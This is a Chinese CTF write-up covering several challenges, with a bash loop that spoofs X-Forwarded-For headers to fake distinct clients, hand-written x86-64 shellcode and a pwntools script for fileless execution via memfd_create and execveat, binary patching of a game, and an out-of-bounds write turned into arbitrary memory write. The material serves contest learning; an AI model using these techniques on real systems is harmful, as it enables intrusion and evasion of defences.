0x01 总结
第一次打ctf,2250分,rank109,math类一题不会…有待提高
0x02 助力 前面简单的几题就不写了,从助力开始。
这题多次使用相同ip助力,会显示重复的/8地址
。
F12看下post,payload为ip=*.*.*.*
。所以好搞,既然说/8
地址重复,那我们手动post,发送 ip=0.0.0.0
到ip=255.0.0.0
的请求,共256个(后来发现,题目也必须256个人助力,正好)。
但还有一个问题,后端会检测ip,跟前端发送的ip对比,对比不通过也是不行的。
所以在发送请求的时候加上X-Forwarded-For
的header,构造假的client ip,这样后端拿到的client ip和前端检测的ip就对的上了。
最后的exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 #!/bin/bash for i in {0..255} do while true do curl -s --header "X-Forwarded-For: $i.0.0.0" -X POST -d "ip=$i.0.0.0" http://邀请链接/ | grep "成功" if [ $? = 0 ] then echo "助力成功" break else echo "助力失败 休息5秒" sleep 5 fi done done
0x03 Amnesia 这题有趣。
轻度失忆 简单,.data
放初始化的全局变量,.rodata
放只读常量。所以申请几个栈上的int变量,然后给int变量赋值,memcpy到堆上,再printf即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #include <stdio.h> #include <stdlib.h> #include <string.h> int main() { int a = 0x6c6c6548; /* Hell */ int b = 0x77202c6f; /* o, w */ int c = 0x646c726f; /* orld */ int d = 0x00000021; /* !\0 */ char *str = (char *)malloc(16); memcpy(str, &a, 4); memcpy(str + 4, &b, 4); memcpy(str + 8, &c, 4); memcpy(str + 12, &d, 4); printf(str); return 0; }
重度失忆 这题要debug,把.text段清空后,_start函数没了。。(这不程序不直接残疾了吗?)
这题一开始我想能不能把_start函数移到别的段,比如这样__attribute__((section("my_section")))
。但这样_start
符号重定义了,不加-nostartfiles
编译选项时编译器不给过,编译选项又改不了,所以这样不行。
然后又想着能不能覆盖.fini段,但是更改不了编译脚本,不行。
最后debug了一下清空了.text段的程序,意外发现一直走到.fini段才段错误。恍然大悟,0000
反汇编虽然是add byte ptr [eax], al
,但似乎对程序运行没有什么影响….
所以,把函数放到.fini段之前,.text段之后,然后坐等程序执行到这个函数,不就行了吗?
但一开始直接写存在别的section的函数,还是会Segmentation Fault,因为会调用.text段的__x86.get_pc_trunk.bx
,上去再下来Segmentation Fault。
想了很久,试了内联汇编,发现不会调用__x86.get_pc_trunk.bx
了。如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 #include <stdio.h> #include <stdlib.h> /* void __attribute__((section("magic_section"))) none() { ; } */ void __attribute__((section("magic_section"))) main() { __asm__( "push $0x21\n" "push $0x646c726f\n" "push $0x77202c6f\n" "push $0x6c6c6548\n" "mov $4, %eax\n" "mov $1, %ebx\n" "mov %esp, %ecx\n" "mov $0xd, %edx\n" "int $0x80\n" "movl $1, %eax\n" "movl $0, %ebx\n" "int $0x80\n" ); }
但还是Segmentation Fault。。。用gdb看下。
好家伙,看来是指令解析有毛病,塞个啥都不干的函数看看(取消上面none函数的注释)。
00c3
, add bl, al
没毛病,这样不会Segmentation Fault了,所以搞定了。
0x04 只读文件系统 这题搞的时间有点长,本地很快搞好了,完全ok,但是远程不行,卡了我很久。
主要就是考无文件执行,翻了一下glibc的源码,它提供了一个fexecve函数(这里) ,可以接受文件描述符作为参数,然后执行程序。
结合这个commit:
意思是现在要直接增加一个execveat syscall wrapper。之前用execveat系统调用实现了fexecve(如果内核支持),可以不用构建/proc/self/fd/***
文件名,直接用fd执行。
另外,只读文件系统,文件只能放在内存里,所以用memfd_create系统调用,创建一个在内存里的匿名文件。
整理一下,Payload要做这些事:
调用mmap syscall,在堆上申请内存
调用read syscall,从stdin把hello读到申请的内存里
调用memfd_create syscall,创建一个memfd
调用execveat执行memfd,替换当前进程为hello
当然这样本地就可以跑通了,但是远程hello总是不完整,我甚至把写入的hello打到stdout上看看到底咋回事,看起来总是没法一次性读完hello的16744个字节。
想了半半天,甚至还问了群里人是不是payload有长度限制,也怀疑是通过tcp传输一次性不能读那么多。最后看了下pwntools,用了pwnlib.shellcraft.amd64.linux.readn(fd, buf, nbytes)
(reads exactly nbytes bytes from file descriptor fd into the buffer buf),这才搞定。
shellcode如下,部分用pwntools生成的,部分手写(又不是不能用.jpg),printf buffer是为了验证写入的hello完整性的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 section .text global _start _start: ; mmap new buffer push 0x22 pop r10 push -1 pop r8 mov r9d, 0 push 9 pop rax mov edi, 0x1010101 xor edi, 0x24545101 push 7 pop rdx mov esi, 0x1100101 xor esi, 0x1110101 syscall ; read stdin to buffer xor edx, edx mov dx, 0x4168 mov esi, 0x1010101 ; /* 626348032 == 0x25555000 */ xor esi, 0x24545101 readn_loop_2: ; /* call read(0, 'rsi', 'rdx') */ xor eax, eax ;/* SYS_read */ xor edi, edi ;/* 0 */ syscall add rsi, rax sub rdx, rax jnz readn_loop_2 ; printf buffer mov rsi, 0x25555000 mov rdi, 1 mov rdx, 0x4168 ;/* call write() */ push 1 ; /* 1 */ pop rax syscall ; create memfd xor eax, eax mov eax, 0x13f ; syscall 0x13f push 0x00666c65 ; elf mov rdi, rsp ; rdi -> 'elf' mov rsi, 0 syscall ; write buffer to memfd mov edi, eax ; fd xor edx, edx mov dx, 0x4168 ; size mov esi, 0x1010101 ;/* 626348032 == 0x25555000 */ xor esi, 0x24545101 ; source push 1 ; sys_write pop rax syscall ; execveat hello ; %rdi %rsi %rdx %r10 %r8 push 0 mov rsi, rsp xor rdx, rdx xor r10, r10 mov r8, 0x1000 mov eax, 0x142 syscall
生成shellcode
1 2 3 nasm -felf64 -o shellcode.o shellcode.asm ld -o shellcode shellcode.o objdump -d shellcode | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-6 -d ' '| tr -s ' '| tr '\t' ' '| sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s | sed 's/^/"/' | sed 's/$/"/g'
得到:
1 \x6a\x22\x41\x5a\x6a\xff\x41\x58\x41\xb9\x00\x00\x00\x00\x6a\x09\x58\xbf\x01\x01\x01\x01\x81\xf7\x01\x51\x54\x24\x6a\x07\x5a\xbe\x01\x01\x10\x01\x81\xf6\x01\x01\x11\x01\x0f\x05\x31\xd2\x66\xba\x68\x41\xbe\x01\x01\x01\x01\x81\xf6\x01\x51\x54\x24\x31\xc0\x31\xff\x0f\x05\x48\x01\xc6\x48\x29\xc2\x75\xf2\xbe\x00\x50\x55\x25\xbf\x01\x00\x00\x00\xba\x68\x41\x00\x00\x6a\x01\x58\x0f\x05\x31\xc0\xb8\x3f\x01\x00\x00\x68\x65\x6c\x66\x00\x48\x89\xe7\xbe\x00\x00\x00\x00\x0f\x05\x89\xc7\x31\xd2\x66\xba\x68\x41\xbe\x01\x01\x01\x01\x81\xf6\x01\x51\x54\x24\x6a\x01\x58\x0f\x05\x6a\x00\x48\x89\xe6\x48\x31\xd2\x4d\x31\xd2\x41\xb8\x00\x10\x00\x00\xb8\x42\x01\x00\x00\x0f\x05
最后的exp.py如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import * context.arch = 'amd64' print('[-]: run process') p = remote('202.38.93.111', 10106) p.recvuntil(b'token:') p.sendline(b'token' + b'\n') p.recvuntil(b'Checking...\n') shellcode = b"\x6a\x22\x41\x5a\x6a\xff\x41\x58\x41\xb9\x00\x00\x00\x00\x6a\x09\x58\xbf\x01\x01\x01\x01\x81\xf7\x01\x51\x54\x24\x6a\x07\x5a\xbe\x01\x01\x10\x01\x81\xf6\x01\x01\x11\x01\x0f\x05\x31\xd2\x66\xba\x68\x41\xbe\x01\x01\x01\x01\x81\xf6\x01\x51\x54\x24\x31\xc0\x31\xff\x0f\x05\x48\x01\xc6\x48\x29\xc2\x75\xf2\xbe\x00\x50\x55\x25\xbf\x01\x00\x00\x00\xba\x68\x41\x00\x00\x6a\x01\x58\x0f\x05\x31\xc0\xb8\x3f\x01\x00\x00\x68\x65\x6c\x66\x00\x48\x89\xe7\xbe\x00\x00\x00\x00\x0f\x05\x89\xc7\x31\xd2\x66\xba\x68\x41\xbe\x01\x01\x01\x01\x81\xf6\x01\x51\x54\x24\x6a\x01\x58\x0f\x05\x6a\x00\x48\x89\xe6\x48\x31\xd2\x4d\x31\xd2\x41\xb8\x00\x10\x00\x00\xb8\x42\x01\x00\x00\x0f\x05" print('[-]: send shellcode') p.sendline(shellcode) with open('../hello', 'rb') as f: hello = f.read() p.send(hello) p.interactive()
0x05 Micro World 工作繁忙,没做。但是思路是有的,题目提示一段时间之后的flag形状,加上程序一打开的瞬间还是有点像flag的,估计是要逆向修改下程序执行流程啥的,后来看下官方wp,确实。
0x06 catchGPA 做到这题,感觉爷的青春又回来了,小时候的口袋妖怪,都是回忆。
拖到ida里,分析了下,先加球(我不知道啥经典作弊码的)!
然后用101改了带师球的数量,笑死。
但是试了5、6次,抓不住GPA。。于是再次patch,这次发现main里面会执行fail()函数,于是一把梭哈,直接把fail()改成decrypt()。
这次可以了,结果发现flag一闪而过。。。草,patch的不好,遂录屏、暂停拿到flag(滑稽.jpg)
其实是不是可以更暴力一点,把init改成decrypt呢?
0x07 一石二鸟 这题没做出来,不知道这个.hs是个啥鬼东西。但现在复盘一下。。
main.hs
编译成runme
,检查vector
有几个value
不是0,大于1个的话就输出flag。
试下极大的index,有越界。
看下coredump。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 #0 0x00000000004094fc in ?? () (gdb) info r rax 0x2 2 rbx 0x4200105758 283468912472 rcx 0x18abef7846071c7 111111111111111111 rdx 0x42000006c0 283467843264 rsi 0x5f07a9 6227881 rdi 0x4200105768 283468912488 rbp 0x42001fcfc8 0x42001fcfc8 rsp 0x7ffda9e326f8 0x7ffda9e326f8 r8 0x4200016638 283467933240 r9 0x5f07a9 6227881 r10 0xffffffffffffffae -82 r11 0x1480dce7caf0 22543694547696 r12 0x420001e4f0 283467965680 r13 0x5f3758 6240088 r14 0x420001e4d9 283467965657 r15 0x42001f50c0 283469893824 rip 0x4094fc 0x4094fc eflags 0x10202 [ IF RF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0
很明显,rax是要设置的value,rcx是index。
反汇编看看。
1 2 3 4 5 6 7 (gdb) disassemble 0x00000000004094f0, 0x00000000004094ff Dump of assembler code from 0x4094f0 to 0x4094ff: 0x00000000004094f0: mov 0x7(%rbx),%rax 0x00000000004094f4: mov 0x10(%rbp),%rbx 0x00000000004094f8: mov 0x8(%rbp),%rcx => 0x00000000004094fc: mov %rax,0x10(%rbx,%rcx,8) End of assembler dump.
mov %rax,0x10(%rbx,%rcx,8)
,移动%rax
到地址%rbx+%rcx*8+0x10
,所以%rbx+0x10
指向vector头数据,存放在0x10+%rbp
。
这里发现基址指针rbp
一直不会变,所以可以利用越界任意写内存,修改存放vector头指针的0x10(%rbp)
,这样整个vector就变了。
计算一下:
先算index:%rbx + %rcx*8 + 0x10 = 0x10 + %rbp
求得:rcx = 0x1EF0E = 126734
值的话,原先头指针是0x4200105768
,现在随机改一个,改成0x4200000700
好了,所以:
%rbx + 0x10 = 0x4200000700
求得:%rbx=0x42000006F0
,即value=283467843312
。
测试一下:
1 2 3 ubuntu@DESKTOP-R7VH4CE:~/一石二鸟$ ./runme 126734 283467843312 count: 76 runme: flag.txt: openFile: does not exist (No such file or directory)
🆗。
但是远程index要改成126732
。可能是因为%rbp
多了16字节吧。